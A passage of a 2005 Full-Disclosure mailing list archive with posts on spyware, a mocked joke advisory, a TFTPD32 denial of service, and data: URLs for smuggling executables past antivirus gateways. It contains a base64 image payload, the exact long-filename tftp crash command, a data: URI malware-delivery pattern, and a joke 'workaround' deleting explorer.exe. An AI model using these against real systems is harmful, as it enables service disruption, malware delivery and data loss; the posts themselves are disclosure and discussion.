QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/
> >> bAEMACAYGBwYFCAcHBwkJ
> >>
CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv
> >> /b
> >>
AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
> >> Iy
> >> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/
> >> xAAfAAABBQEBAQEBAQAAAAAAAAAA
> >> AQIDBAUGBwgJCgv/
> >>
xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
> >>
oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2
> >> Rl
> >>
ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc
> >> bH
> >> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/
> >> xAAfAQADAQEBAQEBAQEBAAAAAAAA
> >> AQIDBAUGBwgJCgv/
> >>
xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
> >>
QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWm
> >> Nk
> >>
ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8
> >> TF
> >>
xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/
> >> APn+iiigD//
> >> Z">
> >> </body>
> >> </html>
> >>
> >> ## END HTML ##
> >>
> >> Solution:
> >>
> >> While AV vendor patches are not yet available,
fixes for all currently
> >> known image vulnerabilities are
> >> and have been for several months.  If you have
not yet applied them,
> >> you have your own
> >> negligence to blame.
> >>
> >> Contributions:
> >>
> >> Thanks to Scott Roeder and Jacinto Rodriquez
their assistance in
> >> platform testing.
> >
> > I believe TrendMicro's OfficeScan (client-server
scanner) will catch
> > it, but I am not sure about their gateway device.
What was their
> > response?
> >
> > ...D
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter:
http://lists.netsys.com/full-disclosure-charter.html
> 


=====


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


From fd.lists.dmargoli at af0.net  Wed Jan 12 01:28:26 2005
From: fd.lists.dmargoli at af0.net (Dan Margolis)
Date: Tue, 11 Jan 2005 20:28:26 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and
	Vulnerable
In-Reply-To: <41E43F22.9030304@easynix.net>
References: <200501081612.j08GCLrs013728@lists.netsys.com>
	<3dc922c3050108105762eef57f@mail.gmail.com>
	<41E41214.4040502@easynix.net> <20050111190917.GB2295@specialk>
	<41E43F22.9030304@easynix.net>
Message-ID: <20050112012826.GA30841@specialk>

On Tue, Jan 11, 2005 at 10:03:30PM +0100, devis wrote:
> It is prooved matter that spywares do exploits IE holes ( Iframes bugs, 
> Active X etc etc ). Do your work on a few and you will see. 

Perhaps some do, but generally speaking this is unnecessary for spyware
to exist, as I said before; spyware exists regardless of such
vulnerabilities. 

> Beside, you 
> missed the point entirely: if an user, just by clicking, can install 
> spyware on his machine, then the OS / browser is to blame, not the 
> actual (bad) code (exploiting it) floating around websites.

A user can install spyware with one click for the same reason he can
install a *good* application with one click. Having the user run every
day with install privileges is relatively irrelevant; if he owns the
machine, he will have the ability to install things. Being prompted for
an admin password (as in the case of OSX) hardly prevents a stupid user
from installing crap. 


> Once again, you are missing the point completely, if M$ didn't 'slack 
> code' their OS, spyware would :
> 1) not install

How do you intend to make spyware not install while still allowing the
user to install other things?

> 2) therefore not exist in the form, numbers and variety we know them

See above. 

> I'll give you a clue:
> try to get a 'tool bar' or some 'other added bonus' automagically on 
> bsd/unix/linux/solaris using any browser, on any site, clicking randomly.

I cannot do so from "clicking randomly," but I quite easily can simply
from clicking "OK" to the download prompt. Firefox installs plugins and
toolbars just as easily as IE does. 

> As you said,
> 'It's very, very difficult to prevent people from voluntarily installing 
> spyware on their own systems.' yes indeed, because MS made it that the 
> average joe is an admin therefore has supreme powers out of the box.

So we don't give the *owner* admin privileges? Mac does this, as does
Linux. I don't know of a single OS where the machine's owner does not,
by default, have admin access. 

> Usability costs security. Always has, always will.

Of course. But the ability to execute code is pretty much
non-negotiable. I will never buy a general purpose PC on which I cannot
run programs of my choosing. And if MS sold one as such, you would be
here complaining about that instead. 

The point is, spyware does not require OS vulnerabilities to be spyware,
and it likely, for a long time to come, never will. I never argued that
Windows is the most secure OS, however, only that spyware does not imply
bugs. And that point should, by now, be crystal clear. 
-- 
Dan


From andfarm at teknovis.com  Wed Jan 12 04:01:00 2005
From: andfarm at teknovis.com (Andrew Farmer)
Date: Tue, 11 Jan 2005 20:01:00 -0800
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>
References: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>
Message-ID: <920846FA-644E-11D9-8DA6-000D93C0F38C@teknovis.com>

On 11 Jan 2005, at 14:52, Team Pwnge wrote:
							   ^^^^^

Nice start: you can't even spell your own name correctly.

<snip... blah, blah, blah>


> Description
> ===========
>
> Shogun Suzuki discovered that a remote user can connect to any
> machine via numerous exploits and use Windows Explorer to view files,
> rename files, delete files, change permissions on files stored on a
> remote machine that has been pwned.

Pray tell. An important element of disclosure is to actually disclose
something. This, however, depends on there actually being something
worth disclosing.


> Impact
> ======
>
> A remote attacker could install something similar to PCAnywhere
> after exploiting Windows and use Windows' Explorer to view, copy
> and or open any file on a victims machine.

... or, "after exploiting Windows", an attacker could just "view,
copy, and or open any file on a victims[sic] machine" without
Explorer's help.


> Concerns?
> =========
>
> Security is a primary focus of TEAM PWN4GE ...

Er... right.


> ... and ensuring the
> progress of secure Windows machines be our dreams.

And grammar be you lacking.

Oh, wait. You probably haven't gotten to that in school yet. Never
mind.


> ... As security
> concerns should be addressed to respective vendors, ...

Reasonable enough, I suppose...


> ... we feel the urge to bypass standards ...

Um... yeah. "We think that $X is good, so we aren't going to do it."


> ... and bring our common dreams of a secure homeland to the Interweb.

*SPLUTTER*
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/b8607943/attachment.bin 

From devis at easynix.net  Wed Jan 12 04:30:08 2005
From: devis at easynix.net (devis)
Date: Wed, 12 Jan 2005 05:30:08 +0100
Subject: [Fwd: Re: [Full-Disclosure] Microsoft AntiSpyware: Will it be free
	and Vulnerable]
Message-ID: <41E4A7D0.8020805@easynix.net>


Dan Margolis wrote:

>On Tue, Jan 11, 2005 at 10:03:30PM +0100, devis wrote:
>  
>
>>It is prooved matter that spywares do exploits IE holes ( Iframes bugs, 
>>Active X etc etc ). Do your work on a few and you will see. 
>>    
>>
>
>Perhaps some do, but generally speaking this is unnecessary for spyware
>to exist, as I said before; spyware exists regardless of such
>vulnerabilities. 
>Beside, you 
>missed the point entirely: if an user, just by clicking, can install 
>spyware on his machine, then the OS / browser is to blame, not the 
>actual (bad) code (exploiting it) floating around websites.
>  
>
>
>A user can install spyware with one click for the same reason he can
>install a *good* application with one click. 
>
Thats is where we do not agree. I do not beleive an user should be able 
to install anything. I have set up few unfortunates of my clients that 
get bugged randomly, with a 'user' limited user account and an admin 
account. Given you explain them why, they do understood perfectly and 
asked me why M$ didn't install in such a way. I answered that they 
prefer to expect their user base to be more stupid than able to comprehend.

>Having the user run every
>day with install privileges is relatively irrelevant; if he owns the
>machine, he will have the ability to install things. Being prompted for
>an admin password (as in the case of OSX) hardly prevents a stupid user
>from installing crap. 
>
>
>  
>
>>Once again, you are missing the point completely, if M$ didn't 'slack 
>>code' their OS, spyware would :
>>1) not install
>>    
>>
>
>How do you intend to make spyware not install while still allowing the
>user to install other things?
>
>  
>
see up there.

>>2) therefore not exist in the form, numbers and variety we know them
>>    
>>
>
>See above. 
>
>  
>
>>I'll give you a clue:
>>try to get a 'tool bar' or some 'other added bonus' automagically on 
>>bsd/unix/linux/solaris using any browser, on any site, clicking randomly.
>>    
>>
>
>I cannot do so from "clicking randomly," but I quite easily can simply
>from clicking "OK" to the download prompt. Firefox installs plugins and
>toolbars just as easily as IE does. 
>
>  
>
You speak without trying. Please go install 'Gator' or 'Alexa Whats 
related' on such a box. I see your point of using the firefox extensions 
/ software install panel but so far in the wild on unix machines ...no 
reports. If it ever get used on firefox for windows for example to 
install spyware, it is because there is a windows box behind it. Please 
find me ONE example of spyware in the wild that install on an unix 
browser. Write a POC if it doesn't exist and please show that unix 
spywares in the home directory of the user are efficient.

>>As you said,
>>'It's very, very difficult to prevent people from voluntarily installing 
>>spyware on their own systems.' yes indeed, because MS made it that the 
>>average joe is an admin therefore has supreme powers out of the box.
>>    
>>
>
>So we don't give the *owner* admin privileges? Mac does this, as does
>Linux. I don't know of a single OS where the machine's owner does not,
>by default, have admin access. 
>
>  
>
No we don't. Beleive me, its 5 minutes talk making an user aware of 
another account on his computer reserved for administrative tasks ( new 
installs, updates, etc ).

>>Usability costs security. Always has, always will.
>>    
>>
>
>Of course. But the ability to execute code is pretty much
>non-negotiable. I will never buy a general purpose PC on which I cannot
>run programs of my choosing. And if MS sold one as such, you would be
>here complaining about that instead. 
>
>The point is, spyware does not require OS vulnerabilities to be spyware,
>  
>
but it does to install and therefore do its task.

>and it likely, for a long time to come, never will. I never argued that
>Windows is the most secure OS, however, only that spyware does not imply
>bugs. And that point should, by now, be crystal clear. 
>  
>
Spyware does implies bugs and weakness. Once again, until you prooved 
that spyware out there in the wild, install or will install (in the next 
future) in other browsers, on unix, running a non priviledge account, i 
cannot agree with you. When you write a spyware you are not only gonna 
choose the most popular platform, but the most easy platform to do so. 
Spywares on windows exists not only because its the most popular OS, but 
mainly because it is trivial to adapt an installation of malware over a 
vulnerability ( remember how blaster spread ? ).

Basically, i am answering because you have given up on educating the 
average user, and this is plain wrong. Setting up right security 
practices out of the box, then explaining the average joe how to use his 
computer, would not seems just a tedious task now, if M$ had done it 
properly from the start. Educating the end user is still possible. We 
managed to tell them not to click random emails for the last few years, 
and some still do, but overall its a big improvement.

Not trusting the user to improve is a big mistake. not explaining why is 
equally a big mistake. The products got to change, and the users will 
learn. Education is the key, not covering the bad tracks of the OS writer.





From spam at dacave.de  Wed Jan 12 04:33:00 2005
From: spam at dacave.de (jigmed pema)
Date: Wed, 12 Jan 2005 05:33:00 +0100
Subject: [Full-Disclosure] RE: Full-Disclosure: Interesting but suspicious
	possible phishing mail
In-Reply-To: <200501120156.j0C1uCrs005908@lists.netsys.com>
References: <200501120156.j0C1uCrs005908@lists.netsys.com>
Message-ID: <41E4A87C.9020106@dacave.de>

Hi, i am new to the list therefore greetings and kudos to all first,

been monitoring this kind of strange mails  myself, they all land in my 
catchall inbox. What baffles me about them is just the same fact them 
being addressed to a mailaccount on one of my subdomains i never used so 
far (the site is not even up yet), and which is not existant on that 
domain, starting to hit me right some hours after i had this domain 
registered. They all come either from a bogus yahoo or otherwise 
suspicious (spoofed??) account, all to something like jwsch <at> 
mysubdomain dot com. The same subdomainname is registered by me with the 
.org, .info, .net and .de extensions, those have not been addressed so 
far and i wonder?
Personally i think it's random spam to check if this domain or 
mailaccount on this domain are reachable, but i don't have proof for 
that yet.
I shall keep an eye on those suspicious stuff furtheron.

Thank you for letting me being part on here, regards,
Jigmed Pema

RandallM wrote:

>Have been getting a number of these come thru also at work. 
>Of course all the users are asking me questions about these.
>They all have the strange words, paragraphs, and questions like this one.
>They really got my attention. I at first thought they were hidden messages
>but
>Not so as the one we receive come as text. 
>
>thank you
>Randall M
> 
> 
>
><|>------------------------------
><|>
><|>Message: 4
><|>Date: Tue, 11 Jan 2005 02:27:55 +0000
><|>From: "DAN MORRILL" <dan_20407 at msn.com>
><|>Subject: [Full-Disclosure] Interesting but suspicious possible
><|>	phishing mail
><|>To: full-disclosure at lists.netsys.com
><|>Message-ID: <BAY3-F6DFC3B80597953B0FA3E1C0880 at phx.gbl>
><|>Content-Type: text/plain; format=flowed
><|>
><|>Hi folks,
><|>
><|>Got this really interesting mail in my box today, and 
><|>knowing that I haven't 
><|>used that e-mail address or ordered anything on line lately. 
><|>Wondering if it 
><|>might not be a phishing e-mail. Haven't seen anything like 
><|>this before. 
><|>Anyone see anything similar?
><|>r/
><|>Dan
><|>
><|>
><|>
><|>from :  Gabrielle U. Philips, Jr <gbhclayddnoglk at safe-mail.net>
><|>Sent :  Monday, January 10, 2005 10:40 PM
><|>To :  "Gabrielle U. Philips, Jr" <MickeyandSnake7tit at safe-mail.net>
><|>CC :  mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, 
><|>mdan22 at qwest.net, mdan32 at qwest.net
><|>Subject :  Shipping Notification, Tracking Number 
>
- - - - - - - -  snip  - - - - - - - - -  -


From seclists at securinews.com  Wed Jan 12 04:35:32 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Tue, 11 Jan 2005 23:35:32 -0500
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>
Message-ID: <200501120435.j0C4Zars018630@lists.netsys.com>

Why not also delete KDE, Gnome and all the other desktops out there.


-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Team Pwnge
Sent: Tuesday, January 11, 2005 5:52 PM
To: vulnwatch at vulnwatch.org; bugtraq at securityfocus.com;
full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TEAM PWN4GE Security Advisory                                     PWNED
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: HIGH
     Title: EXPLORER: Vulnerability in all versions of Windows Explorer
      Date: January 11, 2005

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple overflows have been found in Windows Explorer, potentially allowing
a remote user to open Explorer and run files remotely.


Background
==========

Windows Explorer is an advanced browsing tool made by Microsoft. It is used
in daily tasks to open folders, copy files, delete files, rename files and
view files on a system. It is the foundation of the World Wide Web and used
by billions worldwide. It runs on an array of machines.


Affected versions
=================

All versions of Windows' Explorer are vulnerable

Description
===========

Shogun Suzuki discovered that a remote user can connect to any machine via
numerous exploits and use Windows Explorer to view files, rename files,
delete files, change permissions on files stored on a remote machine that
has been pwned.

Impact
======

A remote attacker could install something similar to PCAnywhere after
exploiting Windows and use Windows' Explorer to view, copy and or open any
file on a victims machine.

Workaround
==========

On a command prompt: del C:\WINDOWS\explorer.exe


Concerns?
=========

Security is a primary focus of TEAM PWN4GE and ensuring the progress of
secure Windows machines be our dreams. As security concerns should be
addressed to respective vendors, we feel the urge to bypass standards and
bring our common dreams of a secure homeland to the Interweb.

License
=======

Copyright 2005 TEAM PWN4GE

The contents of this document are licensed under the Creative Commons -
Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
--
_______________________________________________
Outgun.com free e-mail @ www.outgun.com Check out our Premium services -
POP3 downloading, e-mail forwarding, and 25MB mailboxes!

Powered by Outblaze

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From aditya.deshmukh at online.gateway.expertworks.net  Wed Jan 12 04:36:11 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Wed, 12 Jan 2005 10:06:11 +0530
Subject: [Full-Disclosure] FW: MS Antispyware makes deal to leave
	Weatherbugalone
In-Reply-To: <9E97F0997FB84D42B221B9FB203EFA276E8FFB@dc1ms2.msad.brookshires.net>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAA9ZAheQiynkiwOfSKWFvCEgEAAAAA@online.gateway.expertworks.net>

> And the money payoff begins..

So looks like MS anti spyware would be just one more useless tool from
microsoft.
As a win32 kern programmer I find all the spyware removal buiness too time
consuming - if any one of them affects my machine they get weeded out with a
kern debugger. 
But there should be a way to automate the process. 

Looks like we do have to stick with our trusty debuggers, spybot and
ad-aware! 


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From smaillist at gmail.com  Wed Jan 12 06:00:08 2005
From: smaillist at gmail.com (Sowhat .)
Date: Wed, 12 Jan 2005 14:00:08 +0800
Subject: [Full-Disclosure] TFTPD32 Long FileName Remote Denial of Service
Message-ID: <d65cd4390501112200649fcc7a@mail.gmail.com>

TFTPD32 Long FileName Remote Denial of Service

By Sowhat
12.JAN.2005
http://secway.org/advisory/ad20050108.txt

Product Affected:

TFTPD 2.74 and prior

Impact:
Low


(1) Introduction

TFTPD32 is a bundle including a full featured TFTP server, a TFTP
client, a DHCP server and a Syslog server.
TFTPD32 is designed for Windows 95/NT/2000/XP.
"TFTPD32 recommended by Cisco, HP  and other companies" --From the
author's webpage.

For more information:
http://perso.wanadoo.fr/philippe.jounin/TFTPD32.html

(2) Details
A vulnerability in TFTPD32 may allow remote attackers crash the
TFTPD32 and therefore cause a Denial of Service.

aviram(@)beyondsecurity.com had reported "TFTPD32 Buffer Overflow
Vulnerability (Long filename)" to bugtraq. And it seems that the
author fixed the problem in v2.51.
But during a simple audit,I found that TFTPD32 is still vulnerable to
"Long Filenmae".

C:\Windows\System32>tftp -i 192.168.0.1 get AAAAA...[about 508 'A' here]...AA

The TFTPD32 will print the following error messages 2 times:
"Error:RecvFrom Returns 10040 <"A message sent on a datagram socket
was larger than the internal message buffer or some other network
limit, or the buffer used to receive a datagram into was smaller than
the datagram itself.">"
and then it will dead. 

But this vulnerability seems very unstable and not exploitable.
the TFTPD32 will not dead immediately ,usually 10-15 seconds after the
request,and some times you need to "get" 2-3 times.

(3) Solution

Waitting for the author's update

(4) Author Response

I have sent an email to the author BUT no reply yet.


From tux at penguinnetwerx.net  Wed Jan 12 06:48:29 2005
From: tux at penguinnetwerx.net (Kevin Reiter)
Date: Wed, 12 Jan 2005 01:48:29 -0500
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
References: <200501120435.j0C4Zars018630@lists.netsys.com>
Message-ID: <046c01c4f873$3f351f30$0500a8c0@apollo>

<snip>

: Windows Explorer is an advanced browsing tool made by Microsoft. It is used
: in daily tasks to open folders, copy files, delete files, rename files and
: view files on a system. It is the foundation of the World Wide Web and used

OK, we need to figure out which "Explorer" this guy is talkin' about - Internet
Explorer or Windows Explorer.

: Shogun Suzuki discovered that a remote user can connect to any machine via
: numerous exploits and use Windows Explorer to view files, rename files,
: delete files, change permissions on files stored on a remote machine that
: has been pwned.

..such as ...????  (HINT:  What 'sploits?)

: On a command prompt: del C:\WINDOWS\explorer.exe

Erm...sure...OK.   But what happens when the poor sucker reboots the box and
discovers the O/S is inop (provided the O/S even lets you delete the file in the
first place, since explorer.exe is the shell ...)?

Sorry, but this was the very first post I saw after I joined this list a little
bit ago, and I couldn't resist a few comments.  Is this guy for real, or is this a
joke?

-K



From full-disclosure at arago.de  Wed Jan 12 07:11:11 2005
From: full-disclosure at arago.de (Martin Allert)
Date: Wed, 12 Jan 2005 08:11:11 +0100
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <200501120435.j0C4Zars018630@lists.netsys.com>
References: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>
	<200501120435.j0C4Zars018630@lists.netsys.com>
Message-ID: <20050112071111.GA144731129@ohm.arago.de>



Are there any age-based or I-am-dumb-as-bread limitations to this mailing list 
so we will be spared from such nonsense in the future?

Like this idiotic "rm" exploit. The next thing is an exploit message for spying
out other servers by using sophisticated espionage tools based on HTTP,
developed by the CIA and maintained by the Illuminati.

One simply calls it a webbrowser, others call it crowbar of the net.
Or why would THEY name a webbrowser "spyglass"? :)

> Sent: Tuesday, January 11, 2005 5:52 PM
> To: vulnwatch at vulnwatch.org; bugtraq at securityfocus.com;
> full-disclosure at lists.netsys.com
> Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
> 
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> TEAM PWN4GE Security Advisory                                     PWNED
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> 
>   Severity: HIGH
>      Title: EXPLORER: Vulnerability in all versions of Windows Explorer
>       Date: January 11, 2005
> 
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> 

*nonsense deleted*

Yours,

Martin

-- 

--------------------------------------------------------
 arago AG, Institut fuer komplexes Datenmanagement
 Am Niddatal 3, 60488 Frankfurt/Main, allert at arago.de
 Tel. 069/405680, Fax 069/40568111, http://www.arago.de
--------------------------------------------------------
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 478 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/8e07ac4f/attachment.bin 

From tux at penguinnetwerx.net  Wed Jan 12 07:33:25 2005
From: tux at penguinnetwerx.net (Kevin Reiter)
Date: Wed, 12 Jan 2005 02:33:25 -0500
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
Message-ID: <02da01c4f879$0140c610$6400a8c0@olympus>

original got bounced (mailbox full?)

: <snip>
:
: : Windows Explorer is an advanced browsing tool made by Microsoft. It is used
: : in daily tasks to open folders, copy files, delete files, rename files and
: : view files on a system. It is the foundation of the World Wide Web and used
:
: OK, we need to figure out which "Explorer" this guy is talkin' about - Internet
: Explorer or Windows Explorer.
:
: : Shogun Suzuki discovered that a remote user can connect to any machine via
: : numerous exploits and use Windows Explorer to view files, rename files,
: : delete files, change permissions on files stored on a remote machine that
: : has been pwned.
:
: ..such as ...????  (HINT:  What 'sploits?)
:
: : On a command prompt: del C:\WINDOWS\explorer.exe
:
: Erm...sure...OK.   But what happens when the poor sucker reboots the box and
: discovers the O/S is inop (provided the O/S even lets you delete the file in the
: first place, since explorer.exe is the shell ...)?
:
: Sorry, but this was the very first post I saw after I joined this list a little
: bit ago, and I couldn't resist a few comments.  Is this guy for real, or is this
a
: joke?
:
: -K
:
: _______________________________________________
: Full-Disclosure - We believe in it.
: Charter: http://lists.netsys.com/full-disclosure-charter.html
:
:



From michealespinola at gmail.com  Wed Jan 12 07:40:41 2005
From: michealespinola at gmail.com (Micheal Espinola Jr)
Date: Wed, 12 Jan 2005 02:40:41 -0500
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <046c01c4f873$3f351f30$0500a8c0@apollo>
References: <200501120435.j0C4Zars018630@lists.netsys.com>
	<046c01c4f873$3f351f30$0500a8c0@apollo>
Message-ID: <acdc033d0501112340372e5b9e@mail.gmail.com>

He's referring to Windows Explorer (the Windows GUI interface,
C:\WINDOWS\explorer.exe).

It is a joke.


On Wed, 12 Jan 2005 01:48:29 -0500, Kevin Reiter <tux at penguinnetwerx.net> wrote:
> <snip>
> 
> : Windows Explorer is an advanced browsing tool made by Microsoft. It is used
> : in daily tasks to open folders, copy files, delete files, rename files and
> : view files on a system. It is the foundation of the World Wide Web and used
> 
> OK, we need to figure out which "Explorer" this guy is talkin' about - Internet
> Explorer or Windows Explorer.
> 
> : Shogun Suzuki discovered that a remote user can connect to any machine via
> : numerous exploits and use Windows Explorer to view files, rename files,
> : delete files, change permissions on files stored on a remote machine that
> : has been pwned.
> 
> ..such as ...????  (HINT:  What 'sploits?)
> 
> : On a command prompt: del C:\WINDOWS\explorer.exe
> 
> Erm...sure...OK.   But what happens when the poor sucker reboots the box and
> discovers the O/S is inop (provided the O/S even lets you delete the file in the
> first place, since explorer.exe is the shell ...)?
> 
> Sorry, but this was the very first post I saw after I joined this list a little
> bit ago, and I couldn't resist a few comments.  Is this guy for real, or is this a
> joke?
> 
> -K
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 


-- 
ME2

rss: <http://www.santeriasys.net/rss.xml>


From aditya.deshmukh at online.gateway.expertworks.net  Wed Jan 12 07:47:18 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Wed, 12 Jan 2005 13:17:18 +0530
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <200501120435.j0C4Zars018630@lists.netsys.com>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAfM0Vu65390ezlu7CxDuyMQEAAAAA@online.gateway.expertworks.net>

>Why not also delete KDE, Gnome and all the other desktops out there.
Sure but then what would u use ? 

Don't tell me that you would be using X only with a term and with a window
manager - I do use that sometimes - but it not too useful .... 

>Workaround
>On a command prompt: del C:\WINDOWS\explorer.exe

Ok this is what I did exactly see what happened --- 

Z:\Documents and Settings\Aditya>del Z:\WINDOWS\explorer.exe
The system cannot find the file specified.

What can I do with this error message ? How do I make this go away ?


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From rivgi at finjan.com  Wed Jan 12 08:34:43 2005
From: rivgi at finjan.com (Rafel Ivgi)
Date: Wed, 12 Jan 2005 10:34:43 +0200
Subject: [Full-Disclosure] Using data: URLs for malware injection
References: <20050111214141.GB20998@fqdn.org>
Message-ID: <009601c4f881$9093a000$de03a8c0@Finjan.co.il>

I confirm on my Opera

Version 7.54  
Build 3869  
Platform Win32  
System Windows XP  
Java Sun Java Runtime Environment version 1.4  
VoiceXML Plugin not available

EXECUTES PUTTY!!! SAID "NOTEPAD.EXE"

Rafel Ivgi
Security Consultant 
Malicious Code Research Center (MCRC)
Finjan Software LTD
E-mail: rivgi at Finjan.com
---------------------------------
Prevention is the best cure!
----- Original Message ----- 
From: "Michael Holzt" <kju-fd at fqdn.org>
To: <full-disclosure at lists.netsys.com>
Sent: Tuesday, January 11, 2005 11:41 PM
Subject: [Full-Disclosure] Using data: URLs for malware injection


> 
> Using data: URL for malware injection
> 
> 2005/01/11, Michael Holzt, kju -at- fqdn.org
> based on work done by Darren Bounds (see text)
> 
> 
> 
> As described by Darren Bounds in an earlier posting [1], RFC2397 allows to
> embed data into an HTML formatted document. While Darren only used this for
> malicious images, i made some further research which shows that this can
> also be used to embed an executable file into the document. As shown by
> Darren, such embedded data is not detected by current AV gateways. This
> could be abused by websites (and probably HTML email too) for distributing 
> malware.
> 
> The attack works by using an URL scheme like this:
> 
>   <a href="data:application/x-msdos-program;base64,
>     [base64 data]">Click me!</a>
> 
> I've made an example available which embeds putty.exe. The example is about
> 500 kByte HTML and is available on http://kju.de/misc/putty.html. Please do
> not spread this URL outside of this list because of the traffic. Feel free
> to copy the example to your own webspace.
> 
> My tests with various windows based webbrowsers had the following results:
> 
>  - IE6 clicking on the link does nothing
> 
>  - Mozilla 1.5.4 will try to open the "what should i do with that" 
> file dialog and then hangs. needs to get killed.
> 
>  - Firefox 1.0 allows saving of the data to harddisk
> (on linux it will also display much rubbish
> in the save dialog)
> 
>  - Opera 7.5.4 tells that it will open the file with notepad
> (which sounds ok), but will then EXECUTE IT
> INSTEAD (without further warning).
> 
> The behaviour of Opera 7.5.4 seems like a major security bug to me. Can
> someone else confirm this behaviour?
> 
> 
> References:
> 
> [1] Posting by Darren Bounds on 2005/01/10,
>    <F873C22A-633A-11D9-97DC-000A95820F5E at intrusense.com> 
>    http://lists.netsys.com/pipermail/full-disclosure/2005-January/030724.html
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
-----------------------------------------------
